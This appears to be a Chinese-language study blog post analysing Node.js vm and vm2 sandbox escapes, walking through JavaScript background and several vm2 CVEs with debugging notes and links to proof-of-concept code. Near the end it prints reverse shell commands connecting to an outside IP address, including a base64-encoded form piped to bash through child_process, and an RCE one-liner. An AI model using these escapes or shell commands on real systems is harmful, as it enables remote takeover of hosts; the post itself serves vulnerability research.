node.js 运行在服务端的JavaScript,是一个基于Chrome JavaScript运行时建立的平台,基于Google V8引擎。
vm2沙箱 是一个独立 的环境,主要运行一些不受信任的代码,以减轻恶意代码影响运行代码的主机的风险。虽然沙箱作为隔离机制非常有用,但是需要谨慎使用,因为 存在一些沙箱逃逸可以绕过这些限制。vm2 未处理的异步错误时不能正确地传递参数给 Error.pareStackTrace的对象(sst)造成沙箱绕过,从而造成远程代码执行
前置知识
之前没学习过js 其中es6这块也更是没听说过 所以在直接看代码的时候有比较大的困惑,后面看了下一些相关文档,主要记录几个下面会用得到的东西
JavaScript相关
let/var/const
let 块级作用域 函数内部使用let定义后 对函数外部无影响
var 定义的变量可以修改 如果不初始化会输出undefined 但不会报错
const 定义的变量不可修改 且必须初始化
es6中 const的简写
const {xxx} = this.state => const xxx = this.state.xxx
const {aaa,bbb,ccc} => this const aaa = this.aaa const bbb = this.bbb const ccc =this.ccc
const {aaa:A , bbb:B } = this ?=> const A = this.aaa const B = this.B
async 异步操作相关关键字
await只能在以不含税async function内部使用
async函数中可能会有await表达式,如果在async函数执行时,遇到await后回显暂停执行,等触发的异步操作完成后,恢复async函数的执行并返回解析值
1 | async function a(){ |
Proxy
Proxy 是对象的包装,将代理上的操作转发到对象,并可以选择捕获其中的一些操作,可以包装任何类型的对象,包括类和函数。
语法: let proxy = new Proxy(target, handle)
- target 要包装的对象,可以是任何东西,包括函数
- handle 代理配置:带有"钩子"的对象 比如get钩子用于读取target属性 set钩子用于写入target属性
e.g.
创建一个没有任何钩子的代理
1 | let target = {}; |

在没有钩子情况下 所以对proxy的操作都会转发给target
- 1.写入操作 proxy.test 会将值写入 target
- 2.读取操作 proxy.test 会从target 返回对应的值
- 3.迭代proxy 会从 target 返回对应的值2
在没有任何钩子情况下,proxy是一个target的透明包装
target下的一些内部方法 图片来源及参考: https://juejin.cn/post/6844904090116292616

Get钩子
参考 https://juejin.cn/post/6844904090116292616
利用proxy 中的 Get钩子 主要用于读取target 属性,当读取属性性会触发该方法
get(target, property, receiver)
- target 目标对象,该对象第一个参数传递给 new proxy
- property 目标属性名
- received 如果目标属性是一个getter访问器属性,则 received就是本次读取属性所在的对象。通常是proxy对象本身,可以不需要该参数
使用get实现对象的默认值
通常情况下在nodejs获取不存在的数组项是将会得到
undefined
,而我们将常规数组包装到代理中,以捕获读取操作
在没有此类属性的情况下返回为 0
1 | let nums = [0,1,2] |

prepareStackTrace 自定义异常
https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md#3.3.4%20Error.prepareStackTrace
1 | Error.prepareStackTrace(error, structuredStackTrace) |
- 第一个参数是 error对象
- 第二个参数是一个数组
Error.prepareStackTrace = function (error, callSites){ }
node.js下漏洞利用
child_process
node.js可以利用child_process模块创建子进程执行一些命令
反弹shell
VM API
以文档中的实例为例 vm运行沙箱的过程:
编译一段代码 -> 创建一个上下文隔离对象 -> 在沙箱中运行代码并返回结果
1 | const vm = require('vm'); |
- vm.createContext([sandbox])
在使用前需要先创建一个沙箱对象,在将沙箱对象传给该方法「如果没有则会生成一个空的沙箱对象」v8为这个沙箱对象在*当前的global外再创建一个作用域*,此时这个沙箱对象就是这个作用域中的全局对象,沙箱内部无法访问global中的属性。
- vm.runInThisContext(code)
在当前global下创建一个作用域(sandbox) 并将接收到的参数当做代码运行。在sandbox中可以访问到global中的属性,但无法访问其他包的属性
- vm.runInNewContext(code[,sandbox][,options])
createContext和runInThisContext的结合版 参数为传入要执行的代码和沙箱对象
- vm.Script类
vm.Script类型的实力包含若干预编译的脚本,这些脚本能够在特定的沙箱或者上下文中被运行
- new vm.Script(code, options)
创建一个新的vm.Script对象 只编译代码但不会执行。 编译过的vm.Script之后可以多次被执行 code参数只绑定于每次执行它的对象
- 注: 对于一些code参数的代码 一般都使用 ````反引号进行包裹
- vm模块详细可参考以下:
- https://nodejs.cn/api/vm.html
- https://www.mianshigee.com/note/detail/27897wlr
VM沙箱逃逸
1 | const vm = require('vm'); |
在第三行处 vm虚拟机环境中的代码逃逸 获得了主线程的Process变量 并调用process.exit() 造成主程序非正常退出

以上代码主要使用了runInNewContext
函数(相当于createContext和runInThisContext)
其等价于如下代码
1 | const vm = require('vm'); |

VM下沙箱逃逸的利用方式
一般沙箱逃逸后都会去尝试rce,而在Node中进行RCE就需要process
在获取到process对象之后 可以通过require导入child_process,然后在利用child_process执行命令。
由于process挂载在global上,而通过API CreateContext创建的沙箱对象在golbal外,无法访问到global,所以想要实现rce就需要想办法将global中的Process引入到沙箱中。
1 | const vm = require("vm"); |

在上述代码中 主要通过
vm.runInNewContext
实现逃逸来返回进程上下文环境
1 | vm.runInNewContext(`this.constructor.constructor('return process.env')()`) |
this指向的是当前传递给
runInNewContext
的对象,这个对象不属于沙箱环境中,
我们通过获取这个对象获取其构造器「this.constructor
」,再获得一个构造器对象的构造器「this.constructor.constructor
」
, 最后调用这个函数的构造器生成的函数,返回值为一个Process对象。
利用toString触发
利用this.constructor.constructor
一般进行沙箱逃逸后会进行rce 在node中进行rce需要process对象,获取到process对象后,可以通过require导入child_process 在利用child_process 执行命令
1 | const vm = require("vm"); |
然后通过返回的Process对象来RCE
1 | vm.runInNewContext(`this.constructor.constructor('return process.env')()`).mainModule.require('child_process').execSync('whoami').toString() |
https://nodejs.cn/api-v16/child_process.html#child_processexecsynccommand-options

利用arguments.callee.caller
将上下文对象的原型链设置为nulll,并且没有其他可引用对象时,可以使用一个函数中内置对象的属性arguments.callee.caller
,它可以返回函数的调用者.
arguments
1 | //arguments是一个Object对象 |
利用arguments.callee.caller绕过
1 | const vm = require('vm') |

利用Proxy代理绕过
如果沙箱外没有执行字符串相关操作来触发toString,且也无法利用恶意重写的函数时,可以使用proxy来劫持属性
通过get钩子获取对象属性RCE的利用代码
1 | const vm = require("vm") |
没有输出

调试后发现 这里 res作为输出 如果是选择res输出的话 会输出res的值 而输出一个res不存在的方法时 就会触发RCE ..... 但是在后面调试的时候 之前没有报错会返回whoami的结果 后面又触发了异常,在异常中输出了whoami的结果test (好像是whoami命令时候有点异常 换做ls命令还算正常触发了rce)
下图是调试状态下载调试控制台输出的结果

如果直接运行会触发异常 在异常中会输出结果 这是whomai的结果 有时候不会触发异常 不会输出结果

但是换成ls命令后 便可正常rce 😓@_@

利用异常抛出沙箱内对象
通过异常 将沙箱内的对象抛出并在外部输出
1 | const vm = require("vm"); |

VM2沙箱
vm2 是在vm基础上实现的沙箱 内部调用的还是vm的API,使用JavaScript的Proxy技术来防止沙箱逃逸
(Proxy 可参考:https://juejin.cn/post/6844904090116292616)
VM2结构
vm2@3.9.14下结构如下

vm2@3.6.10下结构如下

相比新版本下,该版本的结构要简单多 便于去理解其原理
主要包括4个js文件 cli.js
contextify.js
main.js
sandbox.js
其中 cli.js 主要是命令行的调用


contextify.js 封装了三个对象:Decontextify、Contextify 并针对 global的Buffer类进行的代理

sandbox.js 对global的一些函数和变量进行了hook,比如setTimeout、setInterval、setImmediate等

main.js 执行入口点 导出NodeVM、VM这两个沙箱环境和VMScript(封装了vm.Script)

VM2运行原理
1 | const {VM, VMScript} = require("vm2"); |

图片源自https://www.anquanke.com/post/id/207283#h2-1
当创建一个VM对象后,vm2内部引入contextify.js
并对context上下文进行封装,最后再调用script.runInContext(context)
。从图便可看出vm2核心操作在于针对于对context的封装上。
原理分析 调试 可参考
https://www.anquanke.com/post/id/207283#h2-3
https://blog.csdn.net/anwen12/article/details/120445707
runInContext -> Decontextify.value

VM2下沙箱逃逸漏洞分析
CVE-2019-10761
参考
https://github.com/patriksimek/vm2/issues/197
https://github.com/advisories/GHSA-wf5x-cr3r-xr77
https://gist.github.com/JLLeitschuh/609bb2efaff22ed84fe182cf574c023a
vm2 < 3.6.11
https://github.com/advisories/GHSA-wf5x-cr3r-xr77
安装 npm i vm2@3.6.10
下载完后会在桌面下生成一恶搞node_modules 里面有安装的vm2 .... 之前没注意 因为前面安装时候是在.nvm下默认安装的


1 | ; |

假设最大次数为 1000 当递归到最高次数是
r(i) 递归函数
f.call(ft);
ft: this.utf8Write()
沙箱逃逸 从沙箱外获取一个对象,然后获取这个对象的constructor属性。
这个poc链通过 多次递归调用 当达到一定次数后(超过最大调用堆栈的大小),当我们正在调用沙箱外的函数时,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象
CVE-2021-23449
vm2 < 3.9.4
参考以下p牛的说法:
在JavaScript中 import()是一个语法结构,并不是一个函数,无法通过像是使用require的方法来处理import
在调用import()的结果实际上并没有经过沙箱,是一个外部变量,可以直接获取constructor进而获取到process对象来实现命令执行
1 | let res = import('./foo.js') |

CVE-2022-36067
参考 https://www.oxeye.io/blog/vm2-sandbreak-vulnerability-cve-2022-36067
https://github.com/advisories/GHSA-mrgp-mrhc-5jrq
CVE-2023-29017
在处理异步错误时
未正确处理Error.prepareStackTrace的
宿主对象
从而实现沙箱绕过。当异常发生时,可以使用Error.prepareStackTrace自定义异常
在sandbox.js中 定义类
影响版本
vm2 <= 3.9.14
同时需要 Node.js 版本满足以下条件:
Node.js > 16.14.0
Node.js > 17.4.0
Node.js 18.x
Node.js 19.x
环境搭建
安装node js
安装 nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.3/install.sh | bash
查看nodejs可安装版本(重启一个终端)
nvm ls-remote
安装指定版本的nodejs
nvm install v17.5.0

安装vm2
npm install vm2@3.9.14 (npm install 安装指定版本时 后面@加版本号即可)
漏洞分析
问题主要在于sst这个地方
没有考虑sst是否是沙箱处理过的对象,如果是一个宿主的对象,那么这个sst可以在prepareStackTrcae
执行时作为参数使用

在漏洞修复中
使用ensureThis()
函数对sst进行验证,确保该函数是经过Proxy处理的对象

分析文章可以参考
https://github.com/patriksimek/vm2/issues/515
https://mp.weixin.qq.com/s/OwQ3B5vjpr9ZsvOXftJoQg
https://github.com/patriksimek/vm2/commit/d534e5785f38307b70d3aac1945260a261a94d50
exp
https://gist.github.com/seongil-wi/2a44e082001b959bfe304b62121fb76d
反弹shell
1 | const {VM} = require("vm2"); |

1 | async function aa(){ |
CVE-2023-29199
影响版本 <=3.9.15
这里有篇 transformer的源码分析的文章 可参考 https://blog.csdn.net/Yy_Rose/article/details/127534335
攻击者可以使用$tmpname
的标识符去绕过
handleExecption()实现沙箱逃逸到达rce的效果
漏洞分析
问题出现在transformer.js 下的transformer函数,先简单看一下transformer的代码
在transform.js中 先导入了acron(js的一个解析器) 和 acorn-walk(提供遍历) ,然后定义了一个字符串对象INTERNAL_STATE_NAME 后面也会再次用到

主要实现了三个函数 assertType() 、makeNiceSyntaxError()和 transformer()

asserType() 函数主要是返回node节点 如果节点为无效类型,则会抛出异常
makeNiceSyntaxError()`则是一个处理异常的函数 可暂且不看
有比较多的内容是对transformer()函数的实现,

定义一个ast, 通过acorn的解析器Parser 将js代码转换为ast.


判断CBody是否是为BlockStatement代码块语句


当通过try捕获的参数为undefined未定义时,则会抛出makeNiceSyntaxError异常,前文中的catch处将被更改内容,INTERNAL_STATE_NAME会被调用,并报错Use of internal vm2 state variable,会执行catch后的内容。
在catch的code处
${name}=${INTERNAL_STATE_NAME}.handleException(${name})
catch($tmpname){try{throw ${INTERNAL_STATE_NAME}.handleException($tmpname);}

tmpname的值被定义为VM2_INTERNAL_TMPNAME

在poc中 攻击者构造了 a$tmpname
,经过函数处理后变为
aVM2_INTERNAL_TMPNAME
,而在poc中我们已提前定义好了aVM2_INTERNAL_TMPNAME
这个变量,使得这个变量作为宿主对象可以未经保护直接使用,从而实现了对handleException()
的绕过
poc https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
1 | const {VM} = require("vm2"); |
CVE-2023-30547
<= 3.9.16
POC https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
1 | const {VM} = require("vm2"); |
nodejs下漏洞利用
反弹shell
bash -i >& /dev/tcp/106.52.221.71/8888 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==|base64 -d|bash');
require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDYuNTIuMjIxLjcxLzg4ODggMD4mMQ==|base64 -d|bash');
bash -i >& /dev/tcp/127.0.0.1/80 0>&1
看一下 child_process 子进程相关手册 https://nodejs.cn/api-v16/child_process.html
https://xz.aliyun.com/t/9167 nodejs下漏洞利用
child_process模块
1 | require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash'); |
References
https://nvd.nist.gov/vuln/detail/CVE-2023-29017
https://xz.aliyun.com/t/11859
https://mp.weixin.qq.com/s/OwQ3B5vjpr9ZsvOXftJoQg
https://juejin.cn/post/6844904090116292616
https://xz.aliyun.com/t/9167
https://www.cnblogs.com/zpchcbd/p/16899212.html